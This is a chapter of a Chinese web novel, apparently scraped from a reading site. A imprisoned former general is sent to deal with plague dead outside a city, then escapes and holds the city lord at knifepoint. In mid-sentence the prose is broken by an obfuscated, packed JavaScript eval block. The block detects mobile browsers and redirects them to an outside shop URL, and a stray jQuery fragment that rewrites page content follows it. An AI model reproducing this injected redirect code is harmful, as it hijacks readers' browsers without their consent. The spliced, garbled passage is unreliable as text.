“你这到底怎么回事?”
韶眠月拿开拍着他肩膀的手。
游冠生眉心蹙着,从梦中缓过神,苦涩地笑着说:“害怕一个人待在黑暗里而已,不然总是会做噩梦。”
韶眠月装作不经意地说:“南境有一种可止噩梦的方法。睡前饮一杯牛乳试试。”
游冠生放下盖着眼睛的手,轻轻道了声:“好。”
那狱卒走过来,又看到两人背靠背挨在一起,高呼:“干嘛呢!干嘛呢!”
他没想到两个人又偷偷摸摸地凑在一起,不是商量好了么。
他那时候看到她走去那个角落那么果断,原来是骗他的么?
韶眠月尴尬地站起来,拍拍袖子,故作淡然地问:“什么事?”
狱卒毕恭毕敬地回:“大人要我放你们出去。”
说完他才反应过来,心里想:这人不是阶下囚么,怎么还反客为主……
韶眠月以为信息核查对了,走出牢门,却发现狱卒没有给她的镣铐解开的意思。
这怎么回事?
游冠生也觉得不太对劲。
她们将信将疑地跟着狱卒往外走,期间还有其他的犯人也双脚戴着镣铐被吆喝着跟着她们身后。
韶眠月穿过甬道,见一人立在出口处,逆着光。
是个生面孔。
狱卒恭敬地弯腰对那人说:“大人,人都带来了。”
那人眼睛先盯着韶眠月,韶眠月不卑不亢地看了回去,那人“嗤”了声,目光滑过韶眠月,转向她身后乌压压的一群人。
“啪、啪”那人拍了拍手,甬道顿时安静下来。
“城主派你们干个活儿,”那人环视一圈道:“干得好说不定就能脱了这身囚衣,不要想着趁乱跑,不然抓回来有你们好受的。”
韶眠月心想到底是什么事儿,值得给这么高的诱惑。
“到底是什么事?”
“不知道啊。”
“你呢?你知不知道?”
“……”
众人七嘴八舌地讨论着,接着转过头来问韶眠月:“哎,你们先出来的,到底是什么事儿?”
韶眠月摇摇头。
“快点!”众人排好队,在官兵的押送下,战战兢兢。
走在路上,韶眠月越发觉得这条路熟悉,她偷偷用胳膊撞了旁边人一下说:“哎,你看……”
她转头问游冠生,一看旁边人不是他,连忙不好意思地赔罪:“抱歉抱歉。”
那人也不计较,往前走快了几步,游冠生这才和韶眠月并肩。
“你觉不觉得这条路有点眼熟?”韶眠月捂着嘴,小声说。
游冠生点点头:“就是我们来的那条路。”
“这是怎么回事?难道要让我们去城外?”韶眠月小声自言自语。
游冠生瞥了她一眼,看见她眉头紧皱。
“车到山前必有路,且走且看吧。”
韶眠月眉目舒展,也是。
她眯着眼,这才开始好好观察城内的一切。
天气晴朗,阳光照在院外的围墙上,街角的松树依然长青,偶尔几棵树的叶子掉尽,紫阁丹楼在阳光下耀眼,东方山上的宝塔巍峨,“孤高耸天宫”。
街上行人稀少,风力不比山上小多少。
韶眠月收回注意力,抬头看着面前,正是他们来时所经过的城门。
此时进来的人几乎没有,前几天还热热闹闹的城,如今就只剩下能听见的耳边的风声。
“前面就是城门,”那人坐在众人抬的轿子里,掐着嗓子,知道外面冷,连面都不愿意多露:“上面有弓箭手准备着,你们不要想着出城后逃之夭夭。”
人群中讨论声越来越大。
那人走出轿子,扶着轿子的边,目光扫视一周,道:“城门外有流民聚集,最近几天疫病又卷土重来,那些没气儿的,都要给扔到城外的乱葬岗里。”
他沉声道:“听明白了吗?”
韶眠月心道,怪不得把牢房里的人都放出来,原来是怕自己沾染上疫病。
“大家放宽心,那疫病只要预防及时,就沾染不上。城门口摆的有药汤。”
那人站在风里咳了咳,转头回了轿子里。
轿子抬走之前,给众人分发了蒙面的巾帕。
众人被推推搡搡地走出去,韶眠月回头看向城门上方,弓弩一个个对准他们,唯恐他们逃跑。
原以为城内安静是因为人都因为疫病在家里,没想到城外的赈灾棚子里躺着这么多人,但都一句话不说,静悄悄的。
偶尔有死的人被抬走。
韶眠月抓住路过她身边的官兵问:“怎么不发遏制疫病的药,就那么放任下去了?”
那官兵不耐烦,挥开她扯着他衣袖的手:“你懂什么?城主的命令,我们照着做就是。”
她又闻到了药草煮出来的味道。
那官兵走远,韶眠月走进棚子里,里面用干草铺地,铺得厚的干草那一端围了一床被子。
地上摆着瓶瓶罐罐。
“姑娘——”
有人喊她。
是一个面色发黄的妇人,瘦得只剩下一把骨头,躺在被子里,身旁没有一个人。
“给我一杯水。”
她看见那个妇人眼窝深陷,额头上皱纹划出深深的沟壑。
韶眠月环视四周,端起一杯水,喂给她。
“老婆婆,你等一下我。”
韶眠月等到她喝完水,跑回城门口,舀了一瓢煮好的药水喂给她。
“好姑娘——”她看了一眼韶眠月,指了指身旁的瓶瓶罐罐,对她说:“那药不顶用的,我死后,那些东西你都拿走罢。”
说完,她缓缓闭上了眼睛,韶眠月把手放在她的鼻子下探了探,没有呼吸了。
韶眠月见惯沙场生死,却还是没有从一个活生生的生命在自己眼前死去自己却无能为力的感觉中缓过来。
她坐在地上等了一会儿,喊人进来把她抬走了。
而这仅仅是个开始,她出了这个棚,看见一个个断了气的人被抬走。
到处都是飘飞的白条。
没有人发药,她就自己想办法。
是夜,他们又被押送回去。
韶眠月心不在焉地看左右的守卫,趁他们不注意,偷偷溜出队伍。
她看到去的时候自己发现的隐蔽位置,躲了起来。
看着那长长的队伍还没有走完,她在心里想,自从自己从乱葬岗爬出来,还没有一次是光明正大的。
做什么事都是偷偷摸摸的。
顺着脑海里留下的城防图,韶眠月把脚镣拆开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125299|196039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“呼——”她抛出手中的钥匙,脚镣找了个隐蔽的地方藏起来,跃上屋顶,一路向城主府奔去。
月如弯钩,城主府里烛火摇曳。
“吱呀——”
房内的书房门打开。
“城主大人忧国忧民,鞠躬尽瘁到深夜,小的实在钦佩。”
“哪里哪里,大人言重了。夜深了,我送大人一程。”
韶眠月趴在房顶上,看着两个人互相吹捧。
如果真的鞠躬尽瘁,又怎么会放着城外的流民不闻不问,让他们自生自灭呢?
又怎么会舍得连药汤都不给他们分一口?多半是溜须拍马的把戏。
等到城主走出屋子,韶眠月溜进去,找了一个书架的暗处,静静地等着那人回来。
等的也不久,城主进屋关上了门,等到他转身过来,韶眠月看清了他的脸。
她和他见过。
在她得封将军的那一年,这人还狗腿地跑到南境,给她送了一个……一个什么来着?
她给忘了,反正这人惯会顺着杆子往上爬。
那人没注意到有人进了自己的房间,哼着不成调的曲子,摸摸书桌上的文房四宝。
这些可都是大价钱从别的地方搜罗出来的。
韶眠月看着他这样,突然想起来那人送给了自己什么,是一把剑。
她那时候已经有了破雪,其他的剑自然是看不上眼,就转手扔进军营的兵器库,谁缺谁挑。
那人摸着这些用真金白银和权力堆出来的东西,身上却投下了影子。
是谁?
他还来不及喊,韶眠月捂着他的嘴和鼻子。
“唔!唔!”
他挣扎,却发现根本逃不开。
想转头看看到底是谁这么胆大包天,却发现那人力气出奇地大。
他根本转不过去头。
只是估摸着手的大小,是个女子,而且手上有老茧,似乎是个练武的。
这年头,女子练武有个出路的,他只听说过韶眠月还有那几个偷他鸡的土匪。
那可是别人费尽心机贡给他的上等好物,他还没吃,那土匪就夺走了。
真是可恶!听大牢那边说土匪最近几天送上门了,看他解决了这个不把那几个土匪给千刀万剐。
“城主大人,我说你写,好不好?”
他惊恐地点点头。
韶眠月捂着他的嘴,手上沾了他额头上冒出来的汗。
城主被她按着肩膀,提笔,照着她念的,写下那些布告。
他冷静下来,思索这人来只是为了城外的流民,只要他听话,她大抵不会取走他的命。
“把笔放下。”
他利落地把笔丢到桌子上,韶眠月捂着他的嘴,往后拖。
“给你最后一次机会,一会儿小厮来,你就说今天晚上把这件事儿办成,明天我就放了你。”
韶眠月把刀抵到他腰间。
他连连点头。
果不其然,他很听她的话,半夜小厮过来喊他某房小妾想他了,他就算再抓心挠肝地想去,也在韶眠月的刀下噤声了。
早晨,小厮过来禀报,是看守大牢的那个大人来了。
他想着那人武功高强,定能从这个女人手里救下自己,激动地喊了“救命!”